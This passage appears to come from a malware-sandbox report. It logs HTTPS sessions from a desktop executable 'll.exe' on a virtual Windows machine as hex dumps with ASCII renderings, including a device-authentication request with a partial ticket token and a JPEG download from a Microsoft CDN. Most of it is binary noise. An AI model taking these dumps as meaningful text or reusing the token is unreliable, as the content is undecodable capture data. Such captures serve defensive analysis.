Data Ascii: =%-|YwTI?yvcf#-L}Slwt$YVkdFQ}|Iq"C4RWK5I~!MA#Zwd3niBZx`U2 l)@[MFnLaZNM(Q6j2R?r ,XlO'7sT
2022-04-08 08:02:43 UTC5403INData Raw: 6c 10 50 6a 12 df df 49 61 a6 d4 c5 52 4b 13 bc 8e c3 76 6f 0e 3f b2 a3 36 8e 01 0b f5 12 91 41 1d 85 e3 87 ba 92 e0 96 2a a0 f3 65 14 a7 b5 00 dc e4 38 80 a0 d6 62 c6 8d 9a c5 a9 83 0c 94 0e 81 05 68 28 48 db 6c 3c 5d 1c 59 f7 37 77 a5 df c1 15 9c f2 b0 f5 52 66 69 80 de aa 0d 36 ff 00 5b be 59 44 73 71 a5 12 a7 ac e8 e7 52 65 d4 5d 94 44 bc 55 90 2f 16 a9 e9 c5 7f c9 19 99 09 50 49 08 14 d1 96 38 a5 6a 01 c4 55 77 a8 a9 ee 7d c0 ed e3 83 89 90 40 da 5e 4d 2c f2 5d 3d 3d 21 40 a4 f5 00 75 af d2 32 e5 12 65 9e 4b f3 a4 ba 3d c2 cf 21 12 ab cf f1 d4 9e 40 11 d4 78 fb 65 47 76 77 6f 59 9f 57 b1 d6 ac 1a cd 21 89 ec e9 c9 cb 39 05 4d 4d 39 1a f1 de 9d 33 1a 70 b8 ef 4b 55 ba 8f 97 6f f5 4f 2b cd 06 bd a1 a3 b4 6a 78 49 1a 92 b1 15 ea 41 62 37 5e 3d 1b f1 cd
Data Ascii: lPjIaRKvo?6A*e8bh(Hl<]Y7wRfi6[YDsqRe]DU/PI8jUw}@^M,]==!@u2eK=!@xeGvwoYW!9MM93pKUoO+jxIAb7^=
2022-04-08 08:02:43 UTC5410INData Raw: 4b 51 55 ba 8c 80 90 25 a7 9a 96 a9 15 dc 4d 19 9d 0c 6c 83 e1 14 a5 47 88 61 f6 b1 88 07 96 ec 2a d9 60 9b 57 5d 30 dd 47 32 c9 09 e2 5f 61 5a f8 93 dd 86 69 32 46 1c 66 34 e2 de f4 c8 b4 3f 33 69 71 cb 37 d6 63 8d 09 45 28 1a a7 d4 3d ea a7 e0 a8 cd 4e a3 4d 38 80 62 83 06 3f ae 5c e9 9f a4 26 4b 78 82 5a cb c5 f8 1a 8d 88 df 71 da b9 b0 c1 19 ca 20 9e 6d e0 58 48 6e 65 fd 11 70 d1 43 0a 4b 16 e3 96 e4 51 bc 3e 59 b7 84 38 85 92 ce 30 4b 6c 81 49 b9 4a 87 76 a9 23 ae d9 94 46 cc c8 4c e2 d5 62 b1 b9 78 e5 53 24 2d 46 2a a6 95 34 d8 fc c6 63 4b 11 90 d9 a8 84 d7 4c 9a 04 2f 21 57 3c d2 8a f5 24 d6 bf 3f 0c c2 9c 6b 67 1f 91 59 e6 6f 2c dc 5c 88 ee 2d 10 38 54 06 91 21 14 1d 49 72 7f 6b 32 34 9a a1 f4 97 2b 1e 50 76 61 5e a7 02 19 86 ff 00 e7 d7 37 ae 5a
Data Ascii: KQU%MlGa*`W]0G2_aZi2Ff4?3iq7cE(=NM8b?\&KxZq mXHnepCKQ>Y80KlIJv#FLbxS$-F*4cKL/!W<$?kgYo,\-8T!Irk24+Pva^7Z


Session IDSource IPSource PortDestination IPDestination PortProcess
18192.168.2.34999720.199.120.151443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:02:55 UTC7393OUTData Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 65 61 33 30 34 37 32 37 39 35 30 64 39 62 61 0d 0a 0d 0a
Data Ascii: CNT 1 CON 246Context: fea304727950d9ba
2022-04-08 08:02:55 UTC7393OUTData Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e
Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-04-08 08:02:55 UTC7393OUTData Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 65 61 33 30 34 37 32 37 39 35 30 64 39 62 61 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 51 77 65 75 52 78 64 54 45 52 58 49 34 58 73 61 55 64 61 66 67 57 47 68 6d 46 42 32 63 6a 51 30 2b 6c 52 4d 56 52 66 4d 58 33 46 77 79 4e 35 6e 68 5a 42 49 69 50 59 61 52 4e 51 2f 64 77 71 38 33 2f 58 59 37 5a 42 55 72 6d 54 65 77 44 66 6a 2f 57 6d 4f 6e 51 35 6b 4e 32 56 76 44 35 75 46 4d 37 47 6a 4c 78 56 73 37 55 78 36 70 69 69 71 41 6d 6c 4d 6d 4e 7a 57 34 6d 36 7a 78 2f 52 66 32 38 74 48 6b 4a 46 73
Data Ascii: ATH 2 CON\DEVICE 1014Context: fea304727950d9ba<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAQweuRxdTERXI4XsaUdafgWGhmFB2cjQ0+lRMVRfMX3FwyN5nhZBIiPYaRNQ/dwq83/XY7ZBUrmTewDfj/WmOnQ5kN2VvD5uFM7GjLxVs7Ux6piiqAmlMmNzW4m6zx/Rf28tHkJFs
2022-04-08 08:02:55 UTC7394OUTData Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 65 61 33 30 34 37 32 37 39 35 30 64 39 62 61 0d 0a 0d 0a
Data Ascii: BND 3 CON\QOS 29Context: fea304727950d9ba
2022-04-08 08:02:55 UTC7394INData Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a
Data Ascii: 202 1 CON 58
2022-04-08 08:02:55 UTC7394INData Raw: 4d 53 2d 43 56 3a 20 4b 4d 2f 53 41 71 47 6d 6a 55 2b 51 71 33 71 2b 4a 65 68 55 2f 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e
Data Ascii: MS-CV: KM/SAqGmjU+Qq3q+JehU/A.0Payload parsing failed.


Session IDSource IPSource PortDestination IPDestination PortProcess
19192.168.2.34999823.10.249.43443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:03 UTC7394OUTGET /cms/api/am/imageFileData/RE4CSNq?ver=e631 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive
2022-04-08 08:03:03 UTC7394INHTTP/1.1 200 OK
Content-Type: image/jpeg
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4CSNq?ver=e631
Last-Modified: Thu, 07 Apr 2022 08:12:12 GMT
Access-Control-Allow-Origin: *
X-Source-Length: 702526
X-Datacenter: northeu
X-ActivityId: e81c669b-f917-4cd7-994b-8b11335954c9
Timing-Allow-Origin: *
X-Frame-Options: deny
X-ResizerVersion: 1.0
Content-Length: 702526
Cache-Control: public, max-age=346190
Expires: Tue, 12 Apr 2022 08:12:53 GMT
Date: Fri, 08 Apr 2022 08:03:03 GMT
Connection: close
2022-04-08 08:03:03 UTC7395INData Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08
Data Ascii: JFIF``CC8"}!1AQa"q2
2022-04-08 08:03:03 UTC7410INData Raw: 59 af ca 96 db 4a cb b8 f5 ed df d4 57 15 37 88 6f 64 f3 da 78 bf b3 ed 65 5d ab 1c 6b b7 cc c7 3c 8c fc bf 9d 79 27 8c 1a f6 eb 52 67 7b 96 b9 5f bb 12 c1 97 f9 6a e1 47 db df 9c 5c dc 9a 23 d9 f5 ef 89 7e 1e 6d 3f fb 3b 4b d2 27 81 63 90 b4 5f 69 9c 3a ee cf de f9 bd 3b 67 35 63 49 b0 bd f1 25 c4 52 ea ba be a5 a9 db 2a 85 8e 09 d9 22 56 f4 0a 01 ce 3d f1 5e 67 e0 bf 00 4e d0 ad fe a1 79 69 a6 45 22 ee 6f b7 33 b3 ed 1e c0 63 9a ed 6c 7c 17 6f e2 1b c9 4d ef 88 6e 56 d7 f8 5a 05 d9 bb f9 b6 2b 68 61 e9 d3 56 46 7e d2 52 7a 93 eb 76 d6 5e 19 9a 50 2d 34 db 96 91 77 34 13 a8 95 97 3f ed 9c 6d 38 ac 5d 36 ea 3d 46 65 b6 b0 8b 4b b1 9d bf 76 df 66 b6 46 95 7e 8c 72 78 f5 15 d3 5f 78 27 c3 70 b4 16 9e 12 f0 e5 ce b5 3c b2 0f b4 df 6a 8c 7c a5 5f 61 d4 7d 73
Data Ascii: YJW7odxe]k<y'Rg{_jG\#~m?;K'c_i:;g5cI%R*"V=^gNyiE"o3cl|oMnVZ+haVF~Rzv^P-4w4?m8]6=FeKvfF~rx_x'p<j|_a}s
2022-04-08 08:03:03 UTC7426INData Raw: d7 15 ce 46 92 6a 13 6c b7 be 95 96 5c b4 b2 2c 8f b5 7e 9c 62 b8 6f 25 ac 9e 83 94 d2 76 3d 8f 4a 9a 7b 9b 58 b5 38 2c ed 2d ae 95 4a b5 dd ea 84 75 42 dd 07 a7 e3 f9 57 58 d7 5e 56 8b 14 62 fa 3b 99 64 f9 a4 93 70 56 e3 fd d0 01 15 f3 bc 7f 0b 9e ea ea 7b 89 75 ab e9 d9 54 37 90 b7 25 96 35 ed c1 c0 ae c3 c1 7f 0d 35 7d 7a 45 82 0d 5f ed 96 f1 ae ef b3 49 22 7c db 7d b2 4e 6b 9e a4 21 35 7f 69 b7 93 08 c9 ed 63 d1 2e 35 bb 88 e6 8a d2 0d 42 7d 3f cb f9 99 55 b6 ac df 40 46 7f 2a dc 6f 1c c1 a1 c8 c6 e7 5c b1 bc 68 f6 2f d9 9a 41 fb b6 cf fb 58 15 c0 dc 7c 2f 9f 55 b7 63 ac dc ea de 45 b3 79 8d 1b 5c 95 6f 41 80 84 56 2d d7 81 b4 3d 1e f2 04 8b 43 9f 53 dc a6 46 8e 3d ed b5 7d 4b 1c 81 f5 ae 78 d3 a7 2d 1b bf cb fe 09 b6 b7 3a 5d 73 f6 85 d3 b5 25 96 cc
Data Ascii: Fjl\,~bo%v=J{X8,-JuBWX^Vb;dpV{uT7%55}zE_I"|}Nk!5ic.5B}?U@F*o\h/AX|/UcEy\oAV-=CSF=}Kx-:]s%
2022-04-08 08:03:03 UTC7429INData Raw: d4 a8 db a9 2d f5 8b bc 31 27 db be cb 2a e3 73 41 18 66 da 79 c5 68 d8 db db ae d4 76 9e 7d df 76 49 17 ef 35 65 49 ae 46 d2 79 68 bb a5 e1 7e 5f bb 4c 7d 51 2c 6e 14 3a c9 2a b7 de 58 3e 5f 9b eb 5e 6f 3b 92 b5 8d 53 b1 b9 22 c2 b0 b5 b9 da b7 52 7c ca db 76 fe 75 8c d7 17 3b 96 0d 52 75 8a 2d db 59 95 8a ae df fe bd 53 d5 2e 52 fe 4f dd 34 8a d1 ff 00 0e ea c8 4b 3b 84 69 7f 7f 72 c9 2f de 56 6f 97 fc 6b 6a 6d 24 ee 27 2b 9d 2d f4 da 46 8f 23 3c 6b 26 e6 fb bf 31 6d df 80 cd 23 78 b6 28 ec 62 16 6b 1f 9f 23 7c d0 6d 3b b6 fa fc dd eb 97 57 7b 1e b2 b4 48 cd b9 9b e5 fe b5 1d f6 a5 3d 9b 34 f2 44 b7 d6 ec bb 63 68 33 bd 5b dc 8a a5 1e 6d f5 13 91 bb 1f 8b 6f ec d9 64 b8 b6 b9 9e 06 6f 95 7c 91 b9 7d 3e 6c d1 71 e2 8d 47 6f 98 60 91 7f 8b e5 f9 9b db db
Data Ascii: -1'*sAfyhv}vI5eIFyh~_L}Q,n:*X>_^o;S"R|vu;Ru-YS.RO4K;ir/Vokjm$'+-F#<k&1m#x(bk#|m;W{H=4Dch3[modo|}>lqGo`
2022-04-08 08:03:03 UTC7445INData Raw: 5b c2 be 64 10 79 ad f7 76 b7 cd b7 de a4 bc b1 92 fa 4f 2e 36 f9 55 7e f7 dd a4 b5 f0 fa e8 2d f6 bb 9b ef 95 9b 6e df bd b9 ab 28 bb ad 77 ec 56 a5 a8 57 65 9a cf 77 e7 c0 9f 79 59 71 f9 0f 7a c2 d7 af e7 b9 be fb 3a 49 6d b2 35 dc d1 ce c7 72 ab 75 e3 8c b7 b5 49 e2 0b 93 1e a1 3d fd bb 49 2d ad b4 7b b6 cd 95 dc e7 e5 1b 71 d3 fb df 41 5c f4 97 30 5c 49 e7 ce d2 2c ed 73 ba 49 20 5d c9 26 7d fb 01 f4 c9 af a3 cb f0 69 25 56 a2 f9 76 16 ea c5 d8 64 92 3b a6 8e 0f 22 75 dd ba 39 e3 f9 9d 54 76 00 73 f5 15 bf 6f a2 40 d2 7d a2 f3 57 83 4f 9e 3d f2 4a ad 21 f3 59 71 c0 55 23 bf 4c 56 45 c5 b7 93 ab 2c 5a 77 96 b7 51 2f 9e d2 72 8c dc fa f2 c5 8f be 2a de 97 6f 3c 6d 2c b7 92 41 03 49 27 95 b6 49 d5 1d ba fc d8 3f 31 5f f6 8d 7b b2 a9 08 e8 d8 d6 c5 5d 5a
Data Ascii: [dyvO.6U~-n(wVWewyYqz:Im5ruI=I-{qA\0\I,sI ]&}i%Vvd;"u9Tvso@}WO=J!YqU#LVE,ZwQ/r*o<m,AI'I?1_{]Z
2022-04-08 08:03:03 UTC7461INData Raw: b7 d1 12 3d 3e 29 2f 6d 97 cf 58 f7 48 b0 2e d6 66 fa 53 d3 c5 57 1a 0f 9f 77 69 a5 47 73 64 b8 f9 55 87 9b 27 a9 3d 95 6b 87 d4 3e 38 5c ad e4 b7 3a 87 9f e1 c4 82 5f dd e9 b0 62 7f b6 29 fb bc e3 f3 e4 0c 56 be ce 75 e5 78 47 f1 35 8c 61 07 69 3b 9d 84 32 6a 77 d2 6f b6 d3 e3 8a ca 38 c6 d8 d9 4b 3a b1 fe f1 fb a3 f0 a6 58 e9 7a cb 5f 4f 75 7e b0 4b 3b 30 58 24 5c 22 46 83 9d a3 39 27 de aa 78 6f c7 30 22 b6 ab 1d 8c f6 72 ab 06 f2 ee 67 db 67 33 37 42 d8 dc 40 1d 70 3b d7 3d e2 eb ed 73 58 d5 1a 4b 7d 42 da 74 8a 4f 32 55 9d 87 94 c8 47 fc b2 32 11 9f c2 b5 8c 25 cd cb a2 46 d7 56 b9 df df f8 56 4f 2d ae 2e f5 5f 3e 76 8f e5 58 fc b7 89 58 f5 e4 75 23 d0 d7 97 ea cb a8 c3 75 e4 49 ab e9 ea 91 c9 fe a2 0b 67 79 5b fd ae 3f 51 d2 a6 f0 8f 8b 0e 9f 0d e4
Data Ascii: =>)/mXH.fSWwiGsdU'=k>8\:_b)VuxG5ai;2jwo8K:Xz_Ou~K;0X$\"F9'xo0"rgg37B@p;=sXK}BtO2UG2%FVVO-._>vXXu#uIgy[?Q
2022-04-08 08:03:03 UTC7469INData Raw: 6d fb 2c 0d e5 2c f2 b0 5f a0 f5 ae 91 fe 1e f8 3f 49 da 35 0f 3e f1 dd b6 aa c1 39 f9 57 bb 64 56 a5 8e 8f a1 78 76 fa c6 3b 0b 16 d4 11 bf 79 25 b6 ef 9b 6f bf b9 ae cb ab 5d 19 ea df bc f4 38 fd 0f e1 a6 95 a8 37 17 4b 73 3c 6a 1a 58 e7 97 6a f5 e7 1f 4f ad 74 7a 4a 78 43 c1 ba a3 7d a2 28 2e 65 55 dd 12 c6 a8 fe 5b 81 d4 93 9f fb e6 a8 78 fa d6 df 5a ba 51 e4 46 a9 fc 0b 1c 9f 34 79 ed f9 57 35 61 a5 e9 fa 54 6c 92 c5 6d 3c b2 61 55 57 2c f1 f7 fc 3d e9 54 a7 ed 62 e3 26 f5 33 ba 5b 21 75 5b f3 73 75 2d d4 8b 25 e7 da 64 f9 65 e5 7e 6f 4c ff 00 4a ef 7c 19 a3 c9 e1 9b 76 bb d5 d6 c6 d9 17 13 ed 9d 43 4e bd f9 27 ee 60 0a f3 1b af 1c 5d e9 3e 65 a4 72 c5 fb a6 f3 62 dd 1e f5 dd db 14 ed 27 c1 ba c7 8c e1 97 54 b8 be 91 a4 9f 3f 2e e6 66 66 f7 ff 00 0a
Data Ascii: m,,_?I5>9WdVxv;y%o]87Ks<jXjOtzJxC}(.eU[xZQF4yW5aTlm<aUW,=Tb&3[!u[su-%de~oLJ|vCN'`]>erb'T?.ff
2022-04-08 08:03:03 UTC7485INData Raw: ab c5 04 4d 23 16 56 b2 f9 36 f1 d7 d3 9e bc 7b d3 b4 ab 5d 3a e2 fb 3a 8e af 1e 95 e5 c7 b1 9b 6e e5 91 00 fb d8 c8 c9 f5 15 d2 95 a2 91 95 f5 b9 e9 77 56 ba 3e b9 e2 a8 20 4d 4e da 5b 3b e5 ff 00 8f bb 15 da 96 f7 0c 37 05 2a 73 b4 16 1b 4f 35 89 aa 5f dc d8 58 b6 9f 79 e7 cb 67 6d 72 62 65 91 76 b4 89 f7 41 53 cf 21 ba 56 57 87 bc 1b 3c 7f da 17 36 fa 87 d8 6f ec e3 8e 5b 25 81 b6 3d c3 ef 1d 33 cf 4f 9a bd e7 4d f1 6f 85 f5 5f 0f c5 e1 af 1b c1 6d a5 6a 53 a9 58 e7 f2 ca 34 72 30 e5 9b 77 40 5b 1c d0 b9 52 b0 9a 6d 5c f9 7b c4 5a 78 d3 66 b3 8a 0b e6 be 4b a5 dd 1c fc aa aa e7 18 e7 f8 87 7a da f8 72 91 af 8e b4 c9 25 6d b6 f6 b2 89 27 9e 4c 6d 5d be 9d b2 7d eb 7b c4 3f 0c ef f4 f6 96 09 62 58 97 cc 76 8e 49 14 aa cc 9e a9 d7 d3 a8 ac 5d 16 d6 4d 0a
Data Ascii: M#V6{]::nwV> MN[;7*sO5_XygmrbevAS!VW<6o[%=3OMo_mjSX4r0w@[Rm\{ZxfKzr%m'Lm]}{?bXvI]M
2022-04-08 08:03:03 UTC7501INData Raw: 9b 98 57 ca f3 db 77 96 ac 4a a8 f4 a7 81 c1 ce 14 2c ac 8f 3f 99 a7 a9 e9 ba af 80 82 c3 e5 da ea 1f 69 b8 dd b7 cb 6f ba b5 c9 df 78 1a ef 4f b7 b9 ff 00 4c 8e 79 f7 6d 68 20 f9 b7 63 e9 58 cb e2 cb 9d 41 9a 2f 3f c8 f9 b6 f7 f9 8d 77 de 11 b1 7b 79 20 bd d4 22 93 76 ef 31 7a ae ef 7c d7 5c 9d 4c 3a bc d8 7b ad ec 33 45 f0 96 b1 26 97 11 da df f6 d1 76 fc bf ca a2 d5 bc 0b e2 5f ed 2c 45 a6 b3 3c ed b6 35 8d 83 32 af d3 d2 bd 95 35 4b bd 5a d6 29 65 81 6c 60 55 fd dc 11 e1 7f e0 47 dc 8a 92 db 50 d1 3c 2e cb 71 25 cf fa 46 df 9d b7 6e 7d bf 52 7f 95 7c fc b1 f5 63 51 f2 c6 ef b1 12 a3 17 2f 74 f3 7d 37 e0 3e b3 aa 5a e7 55 b9 82 c6 29 3e 66 b6 8d 8f 6a f4 ad 27 4f d1 3e 1d 78 7d 74 cb 6b 18 3f b5 a7 52 ad 73 1c 7b df 6e 38 2d df 20 fe 15 c8 f8 bb e2 2d
Data Ascii: WwJ,?ioxOLymh cXA/?w{y "v1z|\L:{3E&v_,E<525KZ)el`UGP<.q%Fn}R|cQ/t}7>ZU)>fj'O>x}tk?Rs{n8- -
2022-04-08 08:03:03 UTC7508INData Raw: 0a 8d f7 a4 98 da ca cd f2 fd d3 5c be 9c b0 69 f0 c8 6d ff 00 70 8c a3 73 45 96 69 3e a6 ba 3d 0f c6 10 35 bb 47 78 8d 03 aa 96 8e e5 54 b6 e5 fe e9 03 9e 7f bd 57 e8 0b 41 8b 1b c9 23 0d ca ab fd de 3f 95 5c d2 ad 5d ae 38 dd f2 a9 fb d5 8b 0f 89 2c 9a cf 7c 96 77 2b 75 bb fd 64 72 06 46 6f ee 95 23 2b ec 73 5d a6 94 be 66 9b 3c b1 c5 3a b3 2f 97 22 ed da cc 84 73 8f c6 a7 71 a3 9b 9b cb 5f 3c ed fd eb 36 e5 fe ed 68 6c 37 d1 ae fd bf ee ff 00 b5 55 5a d4 c9 1e 76 7d ec 56 85 bc 73 ad 9a 95 56 5d cc 55 bf bb f5 ab e5 12 66 65 fd b8 68 54 2e d6 54 6d cd f8 d5 bd 32 fa e3 4c ff 00 48 82 56 89 a3 fe 2f bb d3 9a b9 1d ac 77 51 b2 16 5d 8c df c5 fd e1 4d 7b 34 55 f2 e1 65 95 95 aa 25 69 2e 56 5d ba a2 1b ff 00 17 5f eb 5a 87 9b 3c eb bb fd 9c 7d df eb 5b 9a
Data Ascii: \impsEi>=5GxTWA#?\]8,|w+udrFo#+s]f<:/"sq_<6hl7UZv}VsV]UfehT.Tm2LHV/wQ]M{4Ue%i.V]_Z<}[
2022-04-08 08:03:03 UTC7520INData Raw: 08 ba dc 2d c5 b5 f3 4a ad fc 5e 5e de ff 00 e1 5b ae 5d 6e 4b 4f 62 e4 37 91 69 b6 72 bc ab ba 4f e1 ff 00 f5 56 45 ad e4 8e cd 3c 51 36 d6 6d bb be bd eb 4a e7 41 93 55 d6 20 b0 0d b5 9b 3b 77 36 d5 fb d8 e4 d7 53 1f 82 6d bc 3c be 7d c4 eb 3c 51 29 fd dc 1f c4 c3 fb be a2 a1 ca 31 56 ea 1c b2 96 dd 0e 4a 4d 3f 50 bc 87 64 ab be 0d df eb 1b ee af 19 1c f4 ac 8b 7f 22 da 45 89 15 64 9d be eb 6d fb b5 d3 eb 5a dc 17 d0 b5 a5 9a c9 6c 8c a5 56 3f ef 7f fa ab ce 23 79 2c 66 62 fb bc d8 a4 dd b7 f8 bf 1a d2 93 76 68 c3 a9 2e a9 a8 19 ae 3f 79 06 e7 8f e5 db b8 ed 56 cf 4a d0 d0 6e 0c 97 0b b3 6a ab 37 dd 5f 97 f5 ac f4 90 5f 43 3a 48 be 54 f2 66 45 66 f9 b7 7b 54 fe 1b b8 b7 86 e1 f7 b4 9f 2f cd 1e df bd 9a da 4e fa 15 1d ee 77 f7 eb 22 58 ad bc 9b b6 41 9f
Data Ascii: -J^^[]nKOb7irOVE<Q6mJAU ;w6Sm<}<Q)1VJM?Pd"EdmZlV?#y,fbvh.?yVJnj7__C:HTfEf{T/Nw"XA
2022-04-08 08:03:03 UTC7536INData Raw: 5a 88 b7 26 ee 54 b6 b9 a3 0f 8f f4 bd 62 3b 96 d6 2d 97 64 89 f2 c0 ad f3 2b 7b 7a 53 3c 25 e3 6d 1f 45 fd e1 b1 5d bb 8a fd a7 f8 f6 9e f5 e7 51 dc dd db c8 b3 c5 6c db f6 95 5d cb b7 f9 d4 56 cc 26 ff 00 8f 88 9b cd 66 f9 76 b7 ca bf 5a b9 60 a9 38 b8 2b db d4 e4 f6 92 7b 9e a9 af 6b 9a 3c 8b e6 bc b1 cb 6b 23 6e 5d aa 37 33 1e 32 6b cf f5 65 b3 b8 d4 18 d9 ac b0 41 b7 72 c6 cd b9 aa c5 af 87 6e 6f 16 59 51 77 2d b7 ef 24 8d 9b f8 7a 8c 7a d5 27 b5 fb 2e d1 f7 d9 53 fd 5b 7d e6 aa a1 4a 34 f4 8c ae 39 49 cb 71 90 d8 0f b2 cf 7b 1c bf 24 52 24 4a ad fc 5b 81 ff 00 0a a9 e7 7d 8d a5 47 5f bd ff 00 7c d5 8f 38 dc 5b b4 11 b6 d4 59 04 9b 5b e5 f9 b1 8e 6a cd f6 6f e4 52 22 8d bc b5 2d f2 ff 00 17 d4 d7 6b 76 20 4d 37 56 96 de 19 71 b5 92 4d 9b b7 2f dd db
Data Ascii: Z&Tb;-d+{zS<%mE]Ql]V&fvZ`8+{k<k#n]732keArnoYQw-$zz'.S[}J49Iq{$R$J[}G_|8[Y[joR"-kv M7VqM/
2022-04-08 08:03:03 UTC7552INData Raw: c7 39 c5 71 e8 89 6d 1f 97 1c ad 3a c2 bb a3 56 63 f9 7b 8f 6a b7 63 aa ee 91 c6 ef 29 e4 fb b1 c8 c3 e6 ce 7a 1e 95 ce b0 94 77 e5 57 f4 2b da 4b 64 cf 47 d6 b5 a8 ae 61 69 7e d9 25 e4 ec a8 cb 1f 9f f2 6d ef 86 5f b9 8f 42 2a ef 85 7c 59 e2 5b f8 7e c9 6e d2 5d 34 7f 2c 7b 94 36 de 3b b7 56 fc 6b 0b 41 d6 e2 3a 5f d9 e4 b9 f2 2d f7 7d df 20 26 d6 f4 04 72 7f 2f c6 ac af 8a a5 b6 bc 53 69 aa c9 04 52 e1 64 8d b1 b1 97 a6 48 61 81 5e 35 7c 1c 9d 37 1e 44 ed b7 f4 91 b4 6a ab ef 63 b9 d1 53 58 58 ee 63 92 05 5b 89 33 22 b7 1e 6a e7 af 5e d5 62 db 5c bb b6 99 62 0b 73 73 e4 37 fa 89 ee 77 2a e7 ae d0 4e 33 51 2e bd 05 c6 9e d1 7f 6e 49 15 c4 ff 00 bb 58 d6 31 bb 8e 7e 57 00 b0 07 d8 d6 63 de 25 9e 9f e7 ea 9e 44 f3 c9 1f ee d6 f3 3b d9 41 e1 49 c9 ed 5f 3b
Data Ascii: 9qm:Vc{jc)zwW+KdGai~%m_B*|Y[~n]4,{6;VkA:_-} &r/SiRdHa^5|7DjcSXXc[3"j^b\bss7w*N3Q.nIX1~Wc%D;AI_;
2022-04-08 08:03:03 UTC7560INData Raw: fc eb 2d 75 cd 3e f9 9a f5 af 19 6f 6d a5 49 5a 06 5f f5 9c ff 00 0f a7 bd 77 ba 32 aa 95 48 cb 47 d8 cb 6d 0e db 5c b7 b7 d1 34 db 11 34 bb 65 dd e5 ed fe f6 3a 54 36 76 b1 5e 5d 66 e7 ee b3 0f bd f7 55 7d 71 de a8 5f f8 bb 4e d6 ef 2d a0 8a e5 be d1 f7 95 5b e6 56 63 db e9 e9 5b 3a 6b 41 79 66 d7 96 ec cb 6f 6d 20 8a 46 fe eb 93 f7 79 eb 5c b3 53 84 13 9a 69 b3 29 45 32 3d 53 4b b4 8f 45 bc b7 76 db 2c b8 db 27 1f 2a 7d 3d 6b cd 7c 61 e1 f8 e3 d3 6d 9c 34 92 cb 02 98 da 49 3e 6f 93 f8 47 f3 ae f7 c6 17 f2 5d 5a c5 65 61 a7 ad cd d4 4b ba 69 f7 05 55 5f af 6a e4 2e 5e 48 6d 64 fb 64 f1 ab 32 a2 c7 1a b0 66 f7 cf d2 bd 0c 22 9c 1a 69 f5 32 94 55 d2 47 9c c6 e5 5b 8f 95 57 fb bf 2d 54 d5 1a e1 db cb 81 5b 7a ff 00 0b 2f ad 7b 7e 9f 6b a3 db f8 3d 6e e4 82
Data Ascii: -u>omIZ_w2HGm\44e:T6v^]fU}q_N-[Vc[:kAyfom Fy\Si)E2=SKEv,'*}=k|am4I>oG]ZeaKiU_j.^Hmdd2f"i2UG[W-T[z/{~k=n
